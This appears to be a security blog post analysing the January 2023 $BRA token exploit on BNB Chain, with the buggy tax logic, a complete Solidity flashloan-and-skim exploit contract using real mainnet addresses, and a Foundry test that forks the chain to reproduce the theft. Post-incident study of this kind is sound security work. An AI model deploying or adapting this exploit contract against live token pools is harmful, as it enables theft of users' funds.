Published on

Breaking Down the $BRA Token Contract Exploit - An In-Depth Look

Authors
  • avatar
    Name
    codebuff
    Twitter

Logic Error in $BRA Token Contract on BSC

On January 10,2023 a logic error in the $BRA token contract on BSC resulted in an exploit and a loss of ~224k. Here's my breakdown of the exploit:

  1. Hacker obtained a 1000 $WBNB flashloan from DoDo.

  2. Swapped the entire amount for $BRA tokens.

  3. Sent all $BRA tokens to the BRA-USDT pancake pair.

  4. Called the skim(address to) function on the pair contract repeatedly to increase $BRA token balance on the BRA-USDT pair contract. This address was to pair contract address.

  5. $BRA token contract imposes a tax when a transfer happens and this tax goes to the BRA-USDT pair.

  6. Due to a logic error, the tax amount was added twice to the BRA-USDT pair, causing it to go out of sync and resulting in a higher BRA balance than reserve value.

   if(sender==uniswapV2Pair&&!recipientAllow){
            taxAmount = amount.div(10000).mul(BuyPer);
            BuyTaxTo_ = ConfigBRA(BRA).BuyTaxTo();
        }

        if(recipient==uniswapV2Pair&&!senderAllowSell){
            taxAmount = amount.div(10000).mul(SellPer);
            SellTaxTo_ = ConfigBRA(BRA).SellTaxTo();
        }
  1. Attacker then called the swap function on the pair and obtained USDT.

  2. USDT was swapped for BNB, resulting in a profit of ~675 BNB in the first go.

  3. Attacker repeated the process to gain an additional ~144 BNB.

I have successfully reproduced the issue in Foundry. Check out my GitHub repo for more details. #smartcontractsecurity #cryptosecurity #foundry #solidity

Github Repository

Sample Exploit Contract


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import {IDPPAdvanced} from "./Interfaces.sol";
import {IWBNB} from "./Interfaces.sol";
import {IPancakeRouter} from "./Interfaces.sol";
import {IERC20} from "./Interfaces.sol";
import {IPancakePair} from "./Interfaces.sol";
import "forge-std/console.sol";

// https://tx.eth.samczsun.com/binance/0x4e5b2efa90c62f2b62925ebd7c10c953dc73c710ef06695eac3f36fe0f6b9348

contract BRAExploit {
    address private constant DPP_Advanced =
        0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
    address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address private constant BRA = 0x449FEA37d339a11EfE1B181e5D5462464bBa3752;
    address private constant USDT = 0x55d398326f99059fF775485246999027B3197955;
    address private constant BRA_USDT_PAIR =
        0x8F4BA1832611f0c364dE7114bbff92ba676AdF0E;
    address private constant PANCAKE_ROUTER =
        0x10ED43C718714eb63d5aA57B78B54704E256024E;

    function exploit() external {
        bytes memory _data = hex"78786173"; // any bytes
        console.log("Requesting flashloan..");
        // Request 1000 wbnb flashloan from DODO
        IDPPAdvanced(DPP_Advanced).flashLoan(
            1000 ether,
            0,
            address(this),
            _data
        );

        // Send profit back to message sender
        (bool sent, ) = payable(msg.sender).call{value: address(this).balance}(
            ""
        );
        require(sent, "Failed ETH Transfer");
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external {
        require(msg.sender == DPP_Advanced);
        require(keccak256(data) == keccak256(hex"78786173"));

        // Convert WBNB to BNB
        uint256 bnbBalanceBefore = IWBNB(WBNB).balanceOf(address(this));
        console.log("Flashloan received: %d WBNB", bnbBalanceBefore);

        console.log("Converting WBNB to BNB .. ");
        IWBNB(WBNB).withdraw(bnbBalanceBefore);

        // Swap BNB for BRA token
        console.log("Swapping BNB for BRA token ..");
        address[] memory pathBNBToBRA = new address[](3);
        pathBNBToBRA[0] = WBNB;
        pathBNBToBRA[1] = USDT;
        pathBNBToBRA[2] = BRA;
        IPancakeRouter(PANCAKE_ROUTER).swapExactETHForTokens{value: 1000 ether}(
            0,
            pathBNBToBRA,
            address(this),
            block.timestamp
        );

        // Transfer all BRA token balance to BRA_USDT pair
        console.log(
            "Transfering BRA token received from the swap to BRA-USDT pair.."
        );
        uint256 braBalanceBefore = IERC20(BRA).balanceOf(address(this));
        uint256 pairBraBalanceBefore = IERC20(BRA).balanceOf((BRA_USDT_PAIR));
        IERC20(BRA).transfer(BRA_USDT_PAIR, braBalanceBefore);
        console.log("Calling skim() funtion on the pair repeatedly..");
        for (uint256 i = 0; i < 100; i++) {
            IPancakePair(BRA_USDT_PAIR).skim(BRA_USDT_PAIR);
        }

        uint256 pairBraBalanceAfter = IERC20(BRA).balanceOf(BRA_USDT_PAIR);
        address[] memory pathBRAToUSDT = new address[](2);
        pathBRAToUSDT[0] = BRA;
        pathBRAToUSDT[1] = USDT;
        uint256[] memory output = IPancakeRouter(PANCAKE_ROUTER).getAmountsOut(
            pairBraBalanceAfter - pairBraBalanceBefore,
            pathBRAToUSDT
        );

        // Call swap and receive USDT
        console.log(
            "Received %d USDT by calling the pair swap() function",
            output[1]
        );
        IPancakePair(BRA_USDT_PAIR).swap(0, output[1], address(this), "");

        IERC20(USDT).approve(PANCAKE_ROUTER, type(uint256).max);

        // convert USDT back to BNB

        address[] memory pathUSDTToBNB = new address[](2);
        pathUSDTToBNB[0] = USDT;
        pathUSDTToBNB[1] = WBNB;

        console.log("Selling USDT for BNB..");

        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForETH(
            IERC20(USDT).balanceOf(address(this)),
            0,
            pathUSDTToBNB,
            address(this),
            block.timestamp
        );

        // Convert BNB to WBNB
        console.log("Converting 1000 BNB to WBNB..");
        IWBNB(WBNB).deposit{value: 1000 ether}();

        // Payback flashloan
        console.log("Paying back 1000 WBNB flashloan to DODO..");
        IWBNB(WBNB).transfer(msg.sender, 1000 ether);
    }

    receive() external payable {
        // React to receiving ether
    }
}

Foundry test


// SPDX-License-Identifier:MIT
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {BRAExploit} from "../../src/BRA/BRAExploit.sol";

// Reproducing BRA exploit in BNB chain
// https://twitter.com/CertiKAlert/status/1612674916070858753
// https://twitter.com/BlockSecTeam/status/1612701106982862849
// https://tx.eth.samczsun.com/binance/0x4e5b2efa90c62f2b62925ebd7c10c953dc73c710ef06695eac3f36fe0f6b9348

contract BRAExploitTest is Test {
    BRAExploit braExploit;

    function setUp() public {
        //Fork BSC chain at block 24656140  . Which is few blocks before the hack.

        vm.createSelectFork("https://bsc-dataseed.binance.org/", 24655000);
        braExploit = new BRAExploit();
    }

    function testExploit() public {
        uint256 bnbBalanceBefore = address(this).balance;
        braExploit.exploit();
        console.log(
            "Total profit:",
            (address(this).balance - bnbBalanceBefore)
        );
        assert(address(this).balance - bnbBalanceBefore > 0);
    }

    receive() external payable {
        // React to receiving ether
    }
}